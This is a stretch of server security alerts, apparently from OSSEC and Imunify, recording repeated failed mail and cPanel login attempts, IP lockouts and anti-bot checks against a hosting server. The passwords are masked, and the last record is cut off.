country_id: 130758
description:
2026-06-12 06:56:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:46084: 535 Incorrect authentication data (set_id=gm@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:55:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:13360: 535 Incorrect authentication data (set_id=writers@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 06:56:08 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 06:56:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:19578: 535 Incorrect authentication data (set_id=testar@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:56:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:55508: 535 Incorrect authentication data (set_id=htt@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:56:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:59064: 535 Incorrect authentication data (set_id=seki@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 06:56:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:64716: 535 Incorrect authentication data (set_id=estadisticas@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 06:56:31 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 120.29.109.225
country_id: 1694008
description:
[2026-06-12 06:57:16 +0000] info [whostmgrd] 120.29.109.225 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 06:56:28 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 06:56:27 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:56:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:37802: 535 Incorrect authentication data (set_id=abraham@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 12 06:56:20 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 06:56:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.77.133.8
country_id: 174982
description:
[2026-06-12 06:57:34 +0000] info [cpaneld] 5.77.133.8 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 06:57:40 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.252.69.112
country_id: 2017370
description:
[2026-06-12 06:57:20 +0000] info [cpaneld] 109.252.69.112 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 06:57:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:58:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:57242: 535 Incorrect authentication data (set_id=clif@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:57:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:50630: 535 Incorrect authentication data (set_id=rent@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.212.82.185
country_id: 630336
description:
[2026-06-12 06:57:41 +0000] info [cpaneld] 37.212.82.185 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:57:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:29976: 535 Incorrect authentication data (set_id=t%@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.16
country_id: 6252001
description:
205.169.39.16 - - [12/Jun/2026:06:57:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116697&pdata=http%253A%252F%252Fwww.afriquerevelation.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781247458 HTTP/1.1" 302 0 www.afriquerevelation.tg "http://www.afriquerevelation.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.16


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:57:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:47368: 535 Incorrect authentication data (set_id=caz@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 06:57:32 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 06:58:32 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 06:58:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:58:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39268: 535 Incorrect authentication data (set_id=dolphin6@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 06:58:33 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:58:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:42334: 535 Incorrect authentication data (set_id=promotions@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:58:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:3310: 535 Incorrect authentication data (set_id=firmy@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 06:59:35 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.28
country_id: 6252001
description:
205.169.39.28 - - [12/Jun/2026:06:59:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673929&pdata=http%253A%252F%252Fceni.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781247573 HTTP/1.1" 302 0 ceni.tg "http://ceni.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 06:59:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 06:59:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39820: 535 Incorrect authentication data (set_id=etichete@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 06:59:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:9446: 535 Incorrect authentication data (set_id=loco@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 06:59:30 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 06:59:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:34354: 535 Incorrect authentication data (set_id=other@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:06:59:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263661&pdata=http%253A%252F%252Fmonde-ai.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781247562 HTTP/1.1" 302 0 monde-ai.tg "http://monde-ai.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [12/Jun/2026:06:59:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7235783&pdata=http%253A%252F%252Fmonde-ai.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781247568 HTTP/1.1" 302 0 monde-ai.tg "http://monde-ai.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:00:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:26448: 535 Incorrect authentication data (set_id=savebig@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:00:30 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:00:48 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:00:25 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:00:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:9882: 535 Incorrect authentication data (set_id=treatwell@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:00:34 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:00:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:1440: 535 Incorrect authentication data (set_id=treatwell@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:00:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:22106: 535 Incorrect authentication data (set_id=mice@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:01:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:22308: 535 Incorrect authentication data (set_id=ella@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:01:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.8
country_id: 6252001
description:
205.169.39.8 - - [12/Jun/2026:07:02:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854808&pdata=http%253A%252F%252Fapi.butodra.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781247722 HTTP/1.1" 302 0 api.butodra.tg "http://api.butodra.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.8


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:01:22 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:01:30 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:01:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:1768: 535 Incorrect authentication data (set_id=docflow@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:01:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18314: 535 Incorrect authentication data (set_id=givi@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:07:01:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066122&pdata=http%253A%252F%252Fapi.butodra.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781247702 HTTP/1.1" 302 0 api.butodra.tg "http://api.butodra.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.218.25.134
country_id: 2017370
description:
[2026-06-12 07:02:40 +0000] info [cpaneld] 178.218.25.134 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:02:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:56618: 535 Incorrect authentication data (set_id=mom@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.115.32.30
country_id: 2542007
description:
[2026-06-12 07:02:42 +0000] info [cpaneld] 196.115.32.30 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.152.59.238
country_id: 3686110
description:
[2026-06-12 07:03:07 +0000] info [cpaneld] 24.152.59.238 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:02:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:13286: 535 Incorrect authentication data (set_id=mom@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:02:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:58218: 535 Incorrect authentication data (set_id=abel@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.191.65.185
country_id: 3865483
description:
[2026-06-12 07:02:31 +0000] info [cpaneld] 181.191.65.185 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:02:34 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.230.48.27
country_id: 298795
description:
[2026-06-12 07:02:50 +0000] info [cpaneld] 88.230.48.27 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:02:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:02:28 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:02:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:10348: 535 Incorrect authentication data (set_id=ebe@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:03:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49738: 535 Incorrect authentication data (set_id=don@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:03:36 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:03:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:5002: 535 Incorrect authentication data (set_id=spam@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:03:29 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:03:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:2566: 535 Incorrect authentication data (set_id=cache1@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:03:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:04:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:60804: 535 Incorrect authentication data (set_id=banane@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:04:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:41580: 535 Incorrect authentication data (set_id=algarve@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:04:38 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:04:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:59060: 535 Incorrect authentication data (set_id=fluentnhibernate@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:04:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:56660: 535 Incorrect authentication data (set_id=fluentnhibernate@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:04:22 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:04:30 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:04:41 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:05:27 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:05:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:33422: 535 Incorrect authentication data (set_id=moon@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:05:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:05:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:51970: 535 Incorrect authentication data (set_id=hpd@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:05:43 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:05:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:51148: 535 Incorrect authentication data (set_id=apd@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:05:50 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:06:26 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:06:36 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:06:20 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:06:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:43292: 535 Incorrect authentication data (set_id=receiver@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:06:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:24970: 535 Incorrect authentication data (set_id=free123@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:07:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:30322: 535 Incorrect authentication data (set_id=cams@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:06:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:57986: 535 Incorrect authentication data (set_id=omail@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:07:20 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:07:30 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
